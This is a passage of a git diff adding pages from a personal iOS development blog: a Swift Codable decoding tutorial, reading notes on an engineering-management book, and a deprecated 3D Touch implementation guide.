+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
struct CommentEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: Decodable
+    var commenter: UserEntity
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.comment = try container.decode(String.self, forKey: .comment)
+        self.commenter = try container.decode(UserEntity.self, forKey: .commenter)
+        
+        //
+        let targetObjectContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject)
+        let targetObjectType = try targetObjectContainer.decode(String.self, forKey: .type)
+        if targetObjectType == "user" {
+            self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject)
+        } else {
+            self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject)
+        }
+    }
+}
+

The principle is similar, but here we first use nestedContainer to dive into targetObject to get the type and then decide what type targetObject should be parsed into.

Cast when using:

1
+2
+3
+4
+5
+
if let song = result.targetObject as? Song {
+  print(song)
+} else if let user = result.targetObject as? User {
+  print(user)
+}
+

Scenario 2. How to decode if the data array contains multiple types of data?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
{
+  "results": [
+    {
+      "type": "song",
+      "id": 99,
+      "name": "Thinking of You Under the Stars"
+    },
+    {
+      "type": "user",
+      "id": 1,
+      "name": "zhgchgli",
+      "email": "zhgchgli@gmail.com"
+    }
+  ]
+}
+

Combine the nestedUnkeyedContainer mentioned above with the solution from Scenario 1; you can also use Scenario 1’s a. solution, using Associated Value Enum to store values.

Scenario 3. Decode JSON String field only when it has a value

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
[
+  {
+    "type": "song",
+    "id": 99,
+    "name": "Thinking of You Under the Stars"
+  },
+  {
+    "type": "song",
+    "id": 11
+  }
+]
+

Use decodeIfPresent to decode.

Scenario 4. Skip data that fails to decode in an array

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
{
+  "results": [
+    {
+      "type": "song",
+      "id": 99,
+      "name": "Thinking of You Under the Stars"
+    },
+    {
+      "error": "error"
+    },
+    {
+      "type": "song",
+      "id": 19,
+      "name": "Take Me to Find Nightlife"
+    }
+  ]
+}
+

As mentioned earlier, Decodable by default requires all data to be correctly parsed to map the output; sometimes you may encounter unstable data from the backend, providing a long array but with some entries missing fields or having mismatched field types causing decode failures; resulting in the entire package failing and returning nil.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
struct ResultsEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case results
+    }
+    var results: [SongEntity]
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results)
+        
+        self.results = []
+        while !nestedUnkeyedContainer.isAtEnd {
+            if let song = try? nestedUnkeyedContainer.decode(SongEntity.self) {
+                self.results.append(song)
+            } else {
+                let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self)
+            }
+        }
+    }
+}
+
+struct EmptyEntity: Decodable { }
+
+struct SongEntity: Decodable {
+    var type: String
+    var id: Int
+    var name: String
+}
+
+let jsonString = "{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, { \"error\": \"error\" }, { \"type\": \"song\", \"id\": 19, \"name\": \"Take Me to Find Nightlife\" } ] }"
+let jsonDecoder = JSONDecoder()
+let result = try jsonDecoder.decode(ResultsEntity.self, from: jsonString.data(using: .utf8)!)
+print(result)
+

The solution is similar to Scenario 2’s solution; nestedUnkeyedContainer iterates through each content and performs try? Decode. If Decode fails, it uses Empty Decode to allow the nestedUnkeyedContainer’s internal pointer to continue executing.

*This method is somewhat of a workaround because we cannot command nestedUnkeyedContainer to skip, and nestedUnkeyedContainer must successfully decode to continue executing. Therefore, we do it this way. Some in the Swift community have suggested adding moveNext(), but it has not been implemented in the current version.

Scenario 5. Some fields are for internal use in my program, not for Decode

Method a. Entity/Model

Here we need to mention what was said at the beginning about the utility of splitting Entity/Model; Entity is solely responsible for JSON String to Entity (Decodable) Mapping; Model initWith Entity, the actual program transmission, operation, and business logic all use Model.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
struct SongEntity: Decodable {
+    var type: String
+    var id: Int
+    var name: String
+}
+
+class SongModel: NSObject {
+    init(_ entity: SongEntity) {
+        self.type = entity.type
+        self.id = entity.id
+        self.name = entity.name
+    }
+    
+    var type: String
+    var id: Int
+    var name: String
+    
+    var isSave:Bool = false //business logic
+}
+

Benefits of splitting Entity/Model:

  1. Clear responsibilities, Entity: JSON String to Decodable, Model: business logic
  2. Clear mapping of fields, just look at Entity
  3. Avoid cluttering when there are many fields
  4. Can be used in Objective-C (since Model is just NSObject, struct/Decodable is not visible in Objective-C)
  5. Internal business logic and fields can be placed in Model

Method b. init handling

List CodingKeys and exclude fields for internal use, give default values during init or set fields with default values or make them Optional, but these are not good methods, just runnable ones.

[2020/06/26 Update] — Next Scenario 6. API Response uses 0/1 to represent Bool, how to Decode?

[2020/06/26 Update] — Next Scenario 7. Don’t want to rewrite init decoder every time

[2020/06/26 Update] — Next Scenario 8. Reasonable handling of Response Null field data

Comprehensive Scenario Example

A complete example combining the basic and advanced usage mentioned above:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
{
+  "count": 5,
+  "offset": 0,
+  "limit": 10,
+  "results": [
+    {
+      "id": 123456,
+      "comment": "It's Accusefive, not Fiveaccuse!",
+      "target_object": {
+        "type": "song",
+        "id": 99,
+        "name": "Thinking of You Under the Stars",
+        "create_date": "2020-06-13T15:21:42+0800"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      }
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "id": 2,
+      "comment": "Haha, me too!",
+      "target_object": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "Passerby A",
+        "email": "man@gmail.com",
+        "birthday": "2000/01/12"
+      }
+    }
+  ]
+}
+

Output:

1
+
zhgchgli: It's Accusefive, not Five Accuse!
+

Complete example demonstration as above!

(Next) Part & Other Scenarios Updated:

Summary

The benefits of choosing to use Codable, first of all, are because it is native, you don’t have to worry about no one maintaining it in the future, and it looks nice when written; but relatively, the restrictions are stricter, it is less flexible in parsing JSON Strings, otherwise, you have to do more things as described in this article to complete it, and the performance is actually not superior to using other Mapping packages (Decodable still uses NSJSONSerialization from the Objective-C era for parsing). However, I think Apple might optimize this in future updates, so we won’t need to change the program then.

The scenarios and examples in the article may be extreme, but sometimes you can’t help it when you encounter them; of course, we hope that in general situations, simple Codable can meet our needs; but with the above techniques, there should be no unsolvable problems!

Thanks to @saiday for technical support.

Accusefive【Take us to the light】Official Music Video

Further Reading

  1. In-depth Decodable — Writing a JSON Parser Beyond Native Full of content, deeply understanding Decoder/JSONDecoder.
  2. Looking at Problems from Different Angles — From Codable to Swift Metaprogramming
  3. Why Model Objects Shouldn’t Implement Swift’s Decodable or Encodable Protocols

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone

Is it Still Up-to-Date to Build a Personal Website Using Google Site?

diff --git a/posts/1c9eafd4a190/index.html b/posts/1c9eafd4a190/index.html new file mode 100644 index 0000000000..79d1a739e8 --- /dev/null +++ b/posts/1c9eafd4a190/index.html @@ -0,0 +1 @@ + Leading Snowflakes Reading Notes | ZhgChgLi
Home Leading Snowflakes Reading Notes
Post
Cancel

Leading Snowflakes Reading Notes

Leading Snowflakes — Reading Notes

“Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen

Entering a management position for the first time can be very confusing; the knowledge about management is only gathered from previous work experience, observations, or casual chats with colleagues, knowing what actions taken by a supervisor are viewed positively or negatively by subordinates. These experiences and thoughts are fragmented, lacking a systematic concept, so I started reading books and recording each author’s experiences. If I encounter similar situations, having this “knowledge confidence” will prevent me from being flustered.

Leading Snowflakes

The author, with nearly 20 years of work experience, transitioned from a software engineer to a management position step by step; having served as a Technical Lead and Engineering Manager in both large companies and startups. This book details the bottlenecks encountered when transitioning from an engineer to a management position and the methods to organize and solve them.

I find my background very similar, having originally worked in software development and now exploring management. The key points mentioned in the book have taught me many methods on how to proceed!

- This article is merely personal notes mixed with some personal views. In this age of fragmented information, it is strongly recommended to read the original book to systematically absorb the essence.

- The significance of notes is to make it easier to quickly locate the points you want to review later.

- Some content is directly excerpted from the original text.

Lesson 1. — Switch between “Manager” and “Maker” modes

The transition from Engineer (Maker) to Manager.

Completing tasks well and even elegantly solving problems is the measure of an excellent engineer, but as a manager, it is no longer measured by the ability to complete tasks, which we have already proven, but by the team goals of leading, driving, and enhancing capabilities.

However, one cannot completely detach from tasks, as completely detaching from task details can lead to disconnection from team members, posing significant risks in terms of execution results, priorities, and trust in the long run.

So, it is not that as a manager you don’t need to do engineering tasks, but rather you need to balance between being an Engineer (Maker) and a Manager.

As engineers, we like to have uninterrupted time to stay in context and solve difficult problems; but as managers, we need to frequently step out to help the team and care for teammates, so interruptions are actually part of a manager’s job.

But how do we handle being both an engineer and a manager?

The author suggests creating two calendars, one as a Maker (engineer) and one as a Manager, and then spending 15-30 minutes every morning to organize thoughts and plan the day’s schedule, including what tasks to do, what meetings to attend, and identifying continuous time slots to solve tasks (as a Maker).

Author's Calendar Template

Author’s Calendar Template

We also need focused time

The author states that even as managers, we still need to handle tasks; the available focused time is more important to us than before.

The author mentions that during focused time, you can convey to teammates not to disturb you through certain actions!

Methods include: going to a meeting room, wearing headphones, or even buying an ON AIR! switch light to place on your desk.

If it is not an urgent issue, teammates can leave a message or compile information and email it to you, to be addressed after the focused time ends.

Evaluate the tasks you can solve as an engineer

Because I can no longer fully dedicate myself to development tasks as I did when I was purely an engineer (Maker), I need to choose tasks that I can personally execute based on the time available in the engineer’s schedule.

Do not become the technical bottleneck of the team. Our mission is to enhance team capabilities, explore new technologies, and improve the company’s technical vision both internally and externally. Tasks can include pre-researching technical issues and sharing them with teammates for execution, resolving the company’s technical debt, improving processes to increase development efficiency, using new technologies, open-sourcing company technology, opening APIs, participating in external hackathons, etc.

The most important thing is still balance

The author suggests starting with a 15-20% ratio. Originally, it was 100% as Maker, but now it might be 20% as Maker / 80% as Manager (though this depends on the actual team size and member capabilities; the author also mentions that 50% / 50% is possible). The key is not to be 100% invested in engineering development but to spend more effort on management.

Make good use of 1:1

Regularly have 1:1 meetings with teammates to provide mutual feedback and share what you’ve learned.

If management tasks consume all your time

The author finally mentions that if your management tasks are so overwhelming that you can’t do any engineering (as Maker) work and become disconnected from tasks and technology, you might consider working from home (WFH) a few days a week to isolate yourself from the company or participate in hackathons.

Lesson 2. — Code Review Your Management Decisions

Regularly review the decisions you make as a manager.

As engineers, we have many methods or tools that, if followed, can improve our abilities, such as pair programming, code review, and design patterns. But as managers, especially new ones, we often feel quite lonely.

We don’t want to admit our ignorance to our superiors or subordinates, fear being responsible for the team’s success, and worry about balancing technical debt and business needs.

The author mentions stepping out to seek ways to improve management skills, openly soliciting feedback, and enhancing management skills; being a manager can be as passionate as being an engineer.

Record & Review Decisions

Colleagues and bosses are powerful resources we often underestimate. We can quickly learn from their feedback. Establishing a habit of recording and reviewing decisions can help us get better feedback.

The author mentions:

“There is no one right way, there are only tradeoffs.”

I agree. If it weren’t a dilemma, you probably wouldn’t ask. If you ask, it means teammates don’t know how to decide.

We can list options and provide decisions to teammates, but at the same time, we should also note the decisions made.

Sample record sheet provided by the author

Sample record sheet provided by the author

Develop the habit of recording and ensure the content is memorable for later.

The author suggests reviewing monthly, sharing and discussing decisions with your boss, other managers, or colleagues (at least half of the issues), and listening to others’ opinions. You can anonymize to protect individuals, focus on issues, not people, and record them.

Key points for review

Regarding the problem:

  • How many technical issues did it cause?
  • Is it a personal issue?
  • Is it an isolated issue for a particular member? (Is it simply because they don’t understand the goal?)
  • Will this issue recur in other teams?

Regarding the decision:

  • Does this issue really need a manager’s decision?
  • Have you asked teammates for suggestions?
  • Is there someone more experienced who can provide advice?
  • Would you make the same decision upon rethinking it now?

Lesson 3. — Confront and challenge your teammates

Encourage teammates to step out of their comfort zones and avoid becoming a jerk or falling into traps.

The author mentions initially feeling uncomfortable because colleagues who were friends now became subordinates. He feared damaging the original relationship, so he took on all the finishing tasks himself. But eventually, he found that the more he protected, the more distant he became from teammates because he kept working hard alone, sharing less, and causing teammates to lose faith.

Looking back, the author says it’s better to express your true thoughts rather than fear hurting teammates’ feelings. “Fear of hurting teammates” is simply a selfish imagination, unnecessary. Moreover, it’s the manager’s responsibility to lead the team to grow and move forward, to see the big picture, and control risks.

Sharing true thoughts is difficult for both sides, but it’s the manager’s responsibility.

Empathy vs Sympathy

We need to show empathy, not sympathy. To make their work truly outstanding, they need our objective opinions.

The author provides the following three points to help balance emotions and behavior:

  1. Am I showing empathy?
  2. Have I clearly stated my expectations?
  3. Am I leading by example?

“If you want to achieve anything in this world, you have to get used to the idea that not everyone will like you.”

If you want to achieve something, you must get used to the fact that not everyone will like your ideas.

Four common pitfalls:

  1. Do I openly share my failures instead of covering them up? (This can be done by writing articles or sending emails to everyone)
  2. Forgetting to summarize discussion results (Get used to recording 1:1 and discussion outcomes)
  3. Using the wrong feedback medium and not getting to the real issue (Find the appropriate feedback channel according to team culture, e.g., 1:1)
  4. Not providing timely feedback We need to be aware that engineers like to challenge themselves, improve their skills, and also want respect and feedback from their supervisors. Our mission is to lead the team to grow, so we should not delay any opportunity for feedback. Not making a decision is also a decision, and once the culture of feedback weakens, it becomes harder to reignite.

Summary

Spend time writing down ways to motivate teammates and ask supervisors if they are being too protective of the team.

Lesson 4. — Teach how to get things done

How to complete tasks with lower risk.

Leading by example is a good method. Occasionally participate in the team’s development to demonstrate how to plan and produce good features, showcasing the principles we want to convey. Additionally, focus on explaining the “Why?” (Why do it this way) more than the “How?” (How to do it).

The author mentions a culture of extreme transparency, allowing team members to have complete context, which can enhance decision-making capabilities.

Reducing risk

  1. To reduce the risk of output, the author suggests breaking down requirements into many small iterative features and sharing this idea with other teams.
  2. Scale and performance — always have a backup plan Will this feature affect performance (or cause other issues)? Can we know in advance? Is there a backup plan (a switch)? Without a backup plan, it is better not to implement it, as it can affect team confidence.
  3. Break tasks into smaller tasks to reduce deadline risk It may be difficult at first, but it can be trained and learned.
  4. Utilize peer pressure Break tasks down for teammates to collaborate on, working together (Code Review is also part of this).
  5. Continuously communicate internally and externally Internally: Ensure expectations, synchronization, deadlines, and resources. Externally: Communicate, and if time is tight, push back on unimportant meetings.
  6. Support, fix bugs, and document It’s not just about releasing features; you also need to provide customer support, fix bugs, and document.
  7. Conduct reviews and delegate tasks, providing leadership opportunities for others.
  8. Select a few tasks to lead by example.
  9. Ask teammates what they have learned, what motivates them to be more proactive, and what they dislike.

Lesson 5. — Delegate tasks without losing quality or visibility

Delegate tasks while maintaining quality and visibility.

As a manager, you must delegate tasks properly. The author believes that delegation should involve setting expectations and trusting that the assigned teammates have the ability to execute, learn, and have room for mistakes. Managers should also protect teammates from company pressure.

The author uses the following table for recording:

This mainly records tasks that are important to team goals, not daily work.

  • Must write down the task content

When deciding whether to delegate a task to a teammate, the author first asks if the task is something only they can do and if it is a managerial task. The second question is whether the task is a long-term leadership task. If neither, then delegate it to a teammate.

For tasks to be delegated, evaluate the teammate’s experience and skills to find the right person.

  • External: Resources expected from outside or above (Feedback/Tool)
  • Delegate

For the delegation part, we can provide a one-page paper explaining our expectations and simple examples.

Lesson 6. — Build trust with other teams in the organization

Collaboration and mutual understanding between teams.

The author explains that organizations split into many small teams for quick decision-making to accomplish more. Defining the direction of each team is not difficult (e.g., iOS team works on the iOS app), but aligning all teams’ goals is challenging.

The more teams there are, the harder it is to unify everyone’s values, expectations, priorities, and implicit expectations.

We should focus on the reasons and motivations for splitting teams rather than the output, as this can lead to contradictions.

The author believes the following methods can align the direction of each team:

  1. Teams should have a vision, not just handle tasks.
  2. Managers need to distinguish between needs and wants.
  3. Optimize the team to complete the right things faster, not just more things.
  4. Establish good communication with other team managers. The author suggests sharing the team’s status, obstacles, pains, and upcoming major tasks and reasons in bi-weekly manager meetings.
  5. When there are differing opinions on priorities with other teams, explain and bring up other factors (e.g., this will reduce CS complaints, be a one-time fix, have a multiplier effect, etc.).
  6. First, understand where external teams need our help and actively follow up.
  7. Then, bring up where our team needs help from external teams.
  8. List the items that need confirmation to ensure they are discussed in the meeting. If not, follow up with relevant managers afterward to see if there are other possibilities.
  9. If not possible, weigh the potential delays or alternative solutions and inform stakeholders (to prevent backbiting).
  10. Everything is a trade-off.

Additionally, here are 5 ways to help teammates build close relationships with other teams:

  • Simple thank-you notes (expressing gratitude for assistance)
  • Team work exchange
  • Internal tech conferences to share knowledge
  • Observing user behavior together and brainstorming optimization ideas
  • Inviting a teammate from another team to join our work

Summary

“Imagine that someone from Team A drops a feature that Team B needs, due to an urgent support issue. Without communicating this priority change to Team B, trust will be decreased even if it’s a justified priority change.”

difference between transactional trust and relational/emotional trust

  • Understand transactional trust and relational trust.
  • Transactional trust — whether people will fulfill promises and complete tasks
  • Relational trust — whether people act in ways that build and protect relationships

Lesson 7. — Optimize for business learning

Build a culture of business learning rather than a culture of building, optimizing throughput, or optimizing value.

  • Premature optimization is a disaster
  • Focus on optimizing current problems, not optimizing for the sake of it
  • Even if not responsible for the entire project, we can still optimize internal operations; big successes often come from the accumulation of small optimizations
  • As managers, we must demonstrate the motivations behind decisions
  • Establish a culture of business learning (value) rather than a building culture (focus on solving business problems rather than just building solutions)
  • Optimize efficiency vs. optimize throughput:
    • Optimize efficiency: solving a single task’s time
    • Optimize throughput: how many tasks can be solved within a time frame (e.g., a quarter)
  • Know the impact of each optimization
  • The importance of automation (saving time in the long run)

Use the AARRR principle for value optimization:

  • Acquisition: How to attract more users
  • Activation: How to guide users to complete tasks that help them understand the product’s value (e.g., an alarm app guiding a new user to set an alarm)
  • Retention: Increase return visits and usage frequency
  • Referrer: Let your users and content bring more traffic
  • Revenue: Quantify the revenue generated by users

These five aspects are closely related. If Retention is low, adjustments can be made to Referrer and Acquisition simultaneously.

As engineering managers, our job is not just to code or fully immerse ourselves in technology; we should periodically realign with product value.

When the product is in its early market testing phase, focus on optimizing efficiency (quickly solving tasks and releasing) by repeating the following process:

Feature improves Retention -> Release feature -> Learn -> Adjust & repeat.

Evaluate each stage from feature to release for optimization opportunities (spending too much time on design? Discussions?).

Can we invest 20% of the time to reduce 80% of development time? Especially painful points.

Can we experiment or release to the smallest audience first? Avoid large features that end up unused.

  • Good data tracking is essential to understand the effectiveness of efforts

“If you can’t make engineering decisions based on data, then make engineering decisions that result in data.”

Although “not implementing this feature will bankrupt the company” is scarier than “this feature will lead to technical debt,” as managers, if we can secure more time to address technical debt, we should do so. We must communicate and manage well.

Optimizing code that might not be used is meaningless.

  • After the initial experimental phase, when the product model stabilizes, it is more suitable to optimize throughput (e.g., given X resources, achieving Y output)
  • Provide predictability for business needs (as above)

Track team output (e.g., “01/01/2013–14/01/2013: 2 Large features, 5 Medium features, 4 Small”), and through long-term statistics, provide forecasts.

Identify & resolve bottlenecks:

  • Synchronous communication: For example, in the product development process, design resources are needed; when entering the engineering development stage, do we have clear specifications ready for development? Are we waiting? Is there anything we can do first?
  • Infrastructure: Make the code extensible and maintainable
  • Automation: Use automation to handle tedious manual operations, saving time and avoiding errors

Since business strategies are constantly changing, we should maintain a more open and flexible mindset towards optimization strategies, with the summary of optimization still focusing on business needs.

Lesson 8. — Use Inbound Recruiting to attract better talent

About Recruitment.

Start doing the following tasks regularly to prevent a sudden shortage of talent. If you wait until you need people, you’ll have to revert to traditional methods of constant interviewing, which makes it hard to find suitable candidates.

Internal:

  • Cultivate a good engineering culture environment (e.g., Code Review, annual meetings…)
  • Create an attractive work environment
  • Manage like a brand
  • Team members work together
  • Strengthen personal connections (e.g., birthday celebrations)
  • Make team members proud of the team first

External:

  • Internal team regularly answers community questions (e.g., Stackoverflow) to increase exposure
  • Hide recruitment Easter eggs in the code (e.g., web developer tools)
  • Share the problems and solutions our team encounters with the community (articles or talks)
  • Host hackathons
  • Establish side projects (e.g., open-source projects)

Assign the above tasks to team members so everyone contributes to finding good talent.

Lesson 9. — Build a scalable team

Building a scalable team.

Creating scalable programs has been our responsibility as engineers, but now the challenge is to build a scalable team.

Unlike programs, people have expectations, needs, and dreams to consider.

The author wants to create a happy work environment where teammates understand task expectations and new challenges, and maintain this enthusiasm.

  • Align goals Align personal vision with company goals. If the current company goals are not understood, it can cause team dysfunction.
  • Align core values This is about consensus and tacit understanding regarding ways of doing things and what is important. Team core values are not static and should evolve with time.
  • Balance Balance the skills and growth of team members, assigning different visions, autonomy, and ownership. Collaborate and grow together (e.g., newcomers expect to understand company processes, veterans should do Code Reviews and mentoring). Everyone should have growth potential.
  • Team core values over individual This may lead to some people leaving, and it requires time and patience to achieve. There are many challenges (e.g., questioning core values when someone leaves).
  • Sense of accomplishment Results should bring a sense of accomplishment. As a manager, you cannot let teammates burn out their enthusiasm.

Implementation

  1. Define team vision For example, the author’s team is doing web scraping, and their team vision is “To build the largest, most informative profile-database in the world.” Note that this is a vision, not a short-term goal or something you don’t want to do.

  2. Define team core values When selecting core values, ask, “Is this value important enough to fire someone over if they lack it?” Write down the core values and reasons. The author provides the following core values:

    • Don’t let others (other teams) clean up your mess; take responsibility for your (team’s) mistakes.
    • Maintain loyalty and respect for all team members. With core values, recruitment or firing decisions have clearer criteria, and there is a better basis for doing things.

Define member expectations of the team and managers

  • Provide a productive and happy work environment
  • Understand the “Why” of tasks, not just the “How”
  • Receive genuine feedback
  • Have opportunities to lead other members
  • Share work results

Define expectations for team members

Basic expectations:

  • Complete tasks
  • Maintain a passion for learning
  • Maintain a passion for sharing and teaching
  • Understand the baseline sense of doing things

Personal expectations:

  • Set expectations based on ability
  • Have the ability to train others to change
  • Drive change rather than complain

We are a team. Team members have their responsibilities and deliverables, and they must also collaborate with others, help each other, and grow together. Defining expectations is like a contract, transforming the original colleague relationship into a managerial relationship, leading more purposefully. Defining these items is not easy and requires time and patience to iterate.

“You can’t empower people by approving their actions. You empower by designing the need for your approval out of the system.”

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Visitor Pattern in iOS (Swift)

Productivity Tools: Abandon Chrome and Embrace Sidekick Browser

diff --git a/posts/1ca246e27273/index.html b/posts/1ca246e27273/index.html new file mode 100644 index 0000000000..87bdb2d1ac --- /dev/null +++ b/posts/1ca246e27273/index.html @@ -0,0 +1,173 @@ + Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift) | ZhgChgLi
Home Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)
Post
Cancel

Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)

[Deprecated] Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)

iOS 3D TOUCH Application

[Deprecated] 2020/06/14

3D Touch functionality has been removed in iPhone 11 and later versions; it has been replaced by Haptic Touch, which is implemented differently.

Some time ago, during a break in project development, I explored many interesting iOS features: CoreML, Vision, Notification Service Extension, Notification Content Extension, Today Extension, Core Spotlight, Share Extension, SiriKit (some have been organized into articles, others are coming soon 🤣)

Among them is today’s main feature: 3D Touch

This feature, supported since iOS 9/iPhone 7, only became useful to me after I upgraded from an iPhone 6 to an iPhone 8!

3D Touch can implement two features in an APP, as follows:

1. Preview ViewController Preview Function — [Wedding App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

  1. Preview ViewController Preview Function — Wedding App

2. 3D Touch Shortcut APP Shortcut Launch Function

  1. 3D Touch Shortcut APP Shortcut Launch Function

The first feature is the most widely used and effective (Facebook: content preview in news feed, Line: sneak peek at messages), while the second feature, APP Shortcut Launch, is less commonly used based on data, so it will be discussed last.

1. Preview ViewController Preview Function:

As shown in the first image above, the ViewController preview function supports:

  • Background blur when 3D Touch is pressed
  • ViewController preview window pops up when 3D Touch is pressed
  • ViewController preview window pops up when 3D Touch is pressed, with an option menu at the bottom when swiped up
  • Return to the window when 3D Touch is released
  • Enter the target ViewController with a harder press after 3D Touch

Here, we will list the code to implement in A: List View and B: Target View separately:

Since there is no way to determine whether the current view is a preview or an actual entry in B, we first create a Protocol to pass values for judgment:

1
+2
+3
+
protocol UIViewControllerPreviewable {
+    var is3DTouchPreview: Bool { get set }
+}
+

This way, we can make the following judgments in B:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
class BViewController:UIViewController, UIViewControllerPreviewable {
+     var is3DTouchPreview:Bool = false
+     override func viewDidLoad() {
+     super.viewDidLoad()
+     if is3DTouchPreview {
+       // If it is a preview window... for example: full screen, hide the toolbar
+     } else {
+       // Display normally in full mode
+   } 
+}
+

A: List window, can be UITableView or UICollectionView:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+
class AViewController:UIViewController {
+    // Register the View that can 3D Touch
+    override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) {
+        super.traitCollectionDidChange(previousTraitCollection)
+        if traitCollection.forceTouchCapability == .available {
+            // TableView:
+            registerForPreviewing(with: self, sourceView: self.TableView)
+            // CollectionView:
+            registerForPreviewing(with: self, sourceView: self.CollectionView)
+        }
+    }   
+}
+extension AViewController: UIViewControllerPreviewingDelegate {
+    // Handling after 3D Touch is released
+    func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) {
+        
+        // Now we need to navigate to the page directly, so cancel the preview mode parameter of the ViewController:
+        if var viewControllerToCommit = viewControllerToCommit as? UIViewControllerPreviewable {
+            viewControllerToCommit.is3DTouchPreview = false
+        }
+        self.navigationController?.pushViewController(viewControllerToCommit, animated: true)
+    }
+    
+    // Control the position of the 3D Touch Cell, the ViewController to be displayed
+    func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? {
+        
+        // Get the current indexPath/cell entity
+        // TableView:
+        guard let indexPath = TableView.indexPathForRow(at: location), let cell = TableView.cellForRow(at: indexPath) else { return nil }
+        // CollectionView:
+        guard let indexPath = CollectionView.indexPathForItem(at: location), let cell = CollectionView.cellForItem(at: indexPath) else { return nil }
+      
+        // The ViewController to be displayed
+        let targetViewController = UIStoryboard(name: "StoryboardName", bundle: nil).instantiateViewController(withIdentifier: "ViewControllerIdentifier")
+        
+        // Retain area when background is blurred (usually the click location), see Figure 1
+        previewingContext.sourceRect = cell.frame
+        
+        // 3D Touch window size, default is adaptive, no need to change
+        // To modify, use: targetViewController.preferredContentSize = CGSize(width: 0.0, height: 0.0)
+        
+        // Inform the previewing ViewController that it is currently in preview mode:
+        if var targetViewController = targetViewController as? UIViewControllerPreviewable {
+            targetViewController.is3DTouchPreview = true
+        }
+        
+        // Returning nil has no effect
+        return nil
+    }
+}
+

Note! The registration of the 3D Touch View should be placed in traitCollectionDidChange instead of “viewDidLoad” ( refer to this content )

I encountered many issues regarding where to place it. Some sources on the internet suggest viewDidLoad, while others suggest cellForItem. However, both places may occasionally fail or cause some cells to malfunction.

Figure 1 Background Blur Reserved Area Diagram

Figure 1 Background Blur Reserved Area Diagram

If you need to add an options menu after swiping up, please add it in B. It’s B, B, B!

1
+2
+3
+4
+5
+6
+
override var previewActionItems: [UIPreviewActionItem] {
+  let profileAction = UIPreviewAction(title: "View Merchant Info", style: .default) { (action, viewController) -> Void in
+    // Action after clicking
+  }
+  return [profileAction]
+}
+

Returning an empty array indicates that this feature is not used.

Done!

2. APP Shortcut Launch

Step 1

Add the UIApplicationShortcutItems parameter in info.plist, type Array

And add menu items (Dictionary) within it, with the following Key-Value settings:

  • [Required] UIApplicationShortcutItemType: Identifier string, used for judgment in AppDelegate
  • [Required] UIApplicationShortcutItemTitle: Option title
  • UIApplicationShortcutItemSubtitle: Option subtitle

  • UIApplicationShortcutItemIconType: Use system icon

Referenced from [this article](https://qiita.com/kusumotoa/items/f33c89f150cd0937d003){:target="_blank"}

Referenced from this article

  • UIApplicationShortcutItemIconFile: Use custom icon (size: 35x35, single color), use either this or UIApplicationShortcutItemIconType
  • UIApplicationShortcutItemUserInfo: Additional information EX: [id:1]

My settings as shown above

My settings as shown above

Step 2

Add the handling function in AppDelegate

1
+2
+3
+4
+5
+6
+7
+8
+9
